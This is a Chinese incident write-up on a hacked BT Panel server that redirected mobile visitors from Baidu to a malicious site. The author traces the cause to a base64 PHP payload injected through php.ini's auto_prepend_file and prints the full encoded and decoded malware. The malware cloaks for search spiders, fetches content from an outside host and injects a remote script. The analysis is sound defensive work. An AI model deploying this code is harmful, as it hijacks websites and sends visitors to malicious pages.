針對Linux寶塔面闆下(xià)所有網站的sitemap.xml移動端訪問:百度搜索網站域名點擊後跳轉到惡意網站的排查思路
作者: 竹子科技 . 閱讀量:482 . 發表時間:2023-08-08 17:03:07
用戶反饋用手機浏覽器打開(kāi)百度,搜索網站域名,點擊會跳轉到惡意網站。而且是服務器裏所有網站都這樣。
通過浏覽器F12模拟手機訪問,發現可以跳轉,并在網絡菜單中(zhōng)看到首頁的響應内容爲:
<script src=https://www.*bhu456*.com/js3.js></script>(網址前後加了“*”号)
可以确定是植入了惡意代碼
開(kāi)始以爲是修改了網站代碼,經過排查代碼也未發現異常,此時用戶說網站代碼已經備份,隻留了一(yī)個空的php首頁,訪問依舊(jiù)會跳轉。
這就說明惡意代碼并沒有修改網站的代碼而實現跳轉。
排查過程:
1、nginx虛拟主機配置文件,無異常
2、nginx的lua模塊代碼,無異常
3、僞靜态配置,無異常
4、查php的載入模塊(extension),無異常(此時是通過cat php.ini | grep extension方式查詢,所以并沒有發現惡意配置)
停止php-fpm服務以後,訪問網站會報502,不會跳轉,說明跳轉還是通過php服務實現的,可以确定跟nginx及lua模塊沒有關系了。
查php的配置文件,最終在php.ini中(zhōng)找到如下(xià)配置:
auto_prepend_file ="data:;base64,PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7ZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCIpOyRhPSJzdHJpc3RyIjskYj0kX1NFUlZFUjtmdW5jdGlvbiBodHRwR2V0bGFpKCRjKXskZD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkZCxDVVJMT1BUX1VSTCwkYyk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBCYWlkdXNwaWRlci8yLjA7ICtodHRwOi8vd3d3LmJhaWR1LmNvbS9zZWFyY2gvc3BpZGVyLmh0bWwpJyk7Y3V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wiLm9uZSIpb3IgJGEodXJsLCIuYnVnIilvciAkYSh1cmwsIi5kb2MiKW9yICRhKHVybCwiLmxvdmUiKW9yICRhKHVybCwiLnR4dCIpb3IgJGEodXJsLCIucHB0IilvciAkYSh1cmwsIi5wcHR4IilvciAkYSh1cmwsIi54bHMiKW9yICRhKHVybCwiLmNzdiIpb3IgJGEodXJsLCIuc2h0bWwiKW9yICRhKHVybCwiLnpuYiIpb3IgJGEodXJsLCIuYXNwIilvciAkYSh1cmwsIi5tZGIiKW9yICRhKHVybCwiLmh4YyIpKTtpZihwcmVnX21hdGNoKHJlZ3MsZW50KSl7aWYoYXJlYSl7ZWNobyBodHRwR2V0bGFpKHNpdGUucm9hZCk7ZXhpdDt9ZWxzZXtlY2hvIGh0dHBHZXRsYWkoImh0dHA6Ly93d3cudmZyNzg5LmNvbS91dGY4L3UucGhwIik7b2JfZmx1c2goKTtmbHVzaCgpO319aWYoYXJlYSYmcHJlZ19tYXRjaChtb2JpbGUsZW50KSl7ZWNobyBiYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNITTZMeTkzZDNjdVltaDFORFUyTG1OdmJTOXFjek11YW5NK1BDOXpZM0pwY0hRKycpO2V4aXQ7fT8+"
經過base64反解後,可以看到惡意代碼了:
<?php set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); $a = "stristr"; $b = $_SERVER; function httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://www.vfr789.com/utf8/?"); define('road', "app?domain=".$b['HTTP_HOST']. "&path=".url. "&spider=".urlencode(ent)); define('memes', road. "&referer=".urlencode(ref)); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".asp") or $a(url, ".mdb") or $a(url, ".hxc")); if (preg_match(regs, ent)) { if (area) { echo httpGetlai(site.road); exit; } else { echo httpGetlai("http://www.vfr789.com/utf8/u.php"); ob_flush(); flush(); } } if (area && preg_match(mobile, ent)) { echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+'); exit; } ?>
echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+');
這段base64反解以後就是上面頁面響應的内容。
<script src=https://www.*bhu456*.com/js3.js></script>(網址前後加了“*”号)
auto_prepend_file配置參數的作用:
如果希望使用require()将頁眉和腳注加入到每個頁面中(zhōng),除了使用require函數引入外(wài),還可以使用配置文件設置。
在配置文件php.ini中(zhōng)有兩個選項 auto_prepend_file 和 auto_append_file。
通過這兩個選項來設置頁眉和腳注,可以保證它們在每個頁面的前後被載入。
使用這些指令包含的文件可以像使用include()語句包含的文件一(yī)樣;也就是,如果該文件不存在,将産生(shēng)一(yī)個警告。
此時還未查到是怎麽被修改的配置文件。
感謝www.rootop.org站長作者分(fēn)享,源站鏈接如下(xià):
來源: https://www.rootop.org/pages/5240.html
關鍵詞Tags: